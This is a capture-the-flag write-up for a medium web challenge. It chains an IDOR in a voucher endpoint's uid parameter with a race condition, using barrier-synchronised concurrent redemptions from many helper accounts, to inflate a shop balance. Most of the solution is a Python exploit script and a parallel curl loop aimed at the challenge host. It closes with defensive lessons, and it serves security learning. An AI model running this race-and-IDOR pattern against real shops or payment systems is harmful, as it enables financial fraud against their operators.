Точка невозврата (Point of No Return)
Точка невозврата (Point of No Return)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: IDOR exploitation via uid parameter manipulation, Multi-session attack coordination, Race Condition via concurrent voucher redemption, Thread synchronization with Barrier
Summary
Task: Shop with voucher system where flag costs 1337$ but balance is only 1000$. Solution: Combined IDOR (uid parameter manipulation) with race condition to redeem vouchers multiple times, gaining enough balance to purchase the flag.
Точка невозврата (Point of No Return) - Hackerlab
Description
"Ожидание новых результатов от повторения одних и тех же действий - признак безумия" (Expecting new results from repeating the same actions is a sign of insanity)
URL: http://62.173.140.174:16023/
Difficulty: medium (600 points)
Analysis
Reconnaissance
- Authentication:
/auth.phpwith registration and login functions - Shop: After login, a shop is available with initial balance of 1000$
- Goal: Buy the flag for 1337$ (missing 337$)
- Vouchers: 3 test vouchers found in HTML comments:
['PAePaMt', '5mbhxgw', 'dRRYa6Y'] - Voucher activation: GET request
/index.php?voucherCode=XXX&uid=YYY - Each voucher gives +100$, maximum total 1300$ (still missing 37$)
Discovered Vulnerabilities
1. IDOR (Insecure Direct Object Reference)
The uid parameter in the voucher activation request is not validated against the current session. You can use a voucher from one session but credit the money to another account (specified in uid).
2. Race Condition (TOCTOU)
Vouchers are global (each voucher can only be used once), but when sending multiple simultaneous requests from different sessions with the same target uid, the voucher usage check doesn't complete in time, allowing multiple credits.
Key Insight
The task name "Точка невозврата" (Point of No Return) and the description about "repeating the same actions" hint at race condition. Einstein's quote about insanity (doing the same thing and expecting different results) is a clever hint: with race condition, repeating the same action CAN yield different results!
Solution
Exploitation Algorithm
- Create a target account and remember its
uid - Create ~20 helper accounts
- Simultaneously send voucher activation requests from all helper accounts, but with the target account's
uid - Due to race condition, several requests succeed before the voucher is marked as used
- Instead of 100$, the target account receives 400$ (4 successful requests)
- Balance becomes 1400$ (1000 + 400), enough to buy the flag for 1337$
Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Точка невозврата - IDOR + Race Condition Exploit Hackerlab CTF Vulnerability: 1. IDOR - uid parameter not validated against session 2. Race Condition - voucher usage check has TOCTOU window """ import requests import threading import random import string from concurrent.futures import ThreadPoolExecutor BASE_URL = "http://62.173.140.174:16023" # Test vouchers found in HTML comments VOUCHERS = ['PAePaMt', '5mbhxgw', 'dRRYa6Y'] def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def create_account(): """Create a new account and return session + uid""" session = requests.Session() username = f"user_{random_string()}" password = random_string(12) # Register session.post(f"{BASE_URL}/auth.php", data={ "action": "register", "username": username, "password": password }) # Login session.post(f"{BASE_URL}/auth.php", data={ "action": "login", "username": username, "password": password }) # Get uid from shop page resp = session.get(f"{BASE_URL}/index.php") # Extract uid from page (implementation depends on actual HTML structure) # uid = extract_uid(resp.text) return session, username def redeem_voucher(session, voucher_code, target_uid): """Attempt to redeem voucher for target uid""" try: resp = session.get( f"{BASE_URL}/index.php", params={"voucherCode": voucher_code, "uid": target_uid}, timeout=5 ) return "success" in resp.text.lower() or "100" in resp.text except: return False def race_attack(target_uid, voucher_code, num_sessions=20): """ Perform race condition attack: - Create multiple sessions - Synchronize requests using barrier - All sessions try to redeem same voucher for target_uid """ sessions = [] barrier = threading.Barrier(num_sessions) results = [] print(f"[*] Creating {num_sessions} helper accounts...") for i in range(num_sessions): session, _ = create_account() sessions.append(session) def attack_thread(session, idx): # Wait for all threads to be ready barrier.wait() # Fire! success = redeem_voucher(session, voucher_code, target_uid) results.append(success) if success: print(f"[+] Thread {idx}: SUCCESS!") print(f"[*] Launching race attack with voucher {voucher_code}...") threads = [] for i, session in enumerate(sessions): t = threading.Thread(target=attack_thread, args=(session, i)) threads.append(t) t.start() for t in threads: t.join() success_count = sum(results) print(f"[*] Voucher {voucher_code}: {success_count}/{num_sessions} successful") return success_count def main(): # Step 1: Create target account print("[*] Creating target account...") target_session, target_username = create_account() # Get target uid (extract from page) resp = target_session.get(f"{BASE_URL}/index.php") # target_uid = extract_uid_from_response(resp) target_uid = "TARGET_UID" # Replace with actual extraction print(f"[*] Target account: {target_username}, UID: {target_uid}") print(f"[*] Initial balance: 1000$") # Step 2: Race attack with each voucher total_gained = 0 for voucher in VOUCHERS: successes = race_attack(target_uid, voucher, num_sessions=20) gained = successes * 100 total_gained += gained print(f"[*] Gained {gained}$ from voucher {voucher}") final_balance = 1000 + total_gained print(f"\n[*] Final balance: {final_balance}$") if final_balance >= 1337: print("[+] Sufficient balance! Buying flag...") # Buy flag resp = target_session.get(f"{BASE_URL}/index.php", params={"buy": "flag"}) print(resp.text) else: print(f"[-] Need {1337 - final_balance}$ more. Try again with more sessions.") if __name__ == "__main__": main()
Alternative Approach (curl + bash)
bash read-only • copy allowed#!/bin/bash # Quick race condition test with curl TARGET_UID="123" # Replace with actual target UID VOUCHER="PAePaMt" # Create 20 parallel requests for i in {1..20}; do curl -s "http://62.173.140.174:16023/index.php?voucherCode=$VOUCHER&uid=$TARGET_UID" \ -b "session_cookie_$i" & done wait echo "Race attack completed"
Lessons
- IDOR: Always validate that
uidin request matches the current session - Race Condition: Use atomic operations or locks for critical sections
- Defense in Depth: Combination of two vulnerabilities allowed bypassing system restrictions
- Hints in CTF: Task name and description often contain hints to the solution
References
- OWASP Race Condition
- IDOR Vulnerability
- TOCTOU Attacks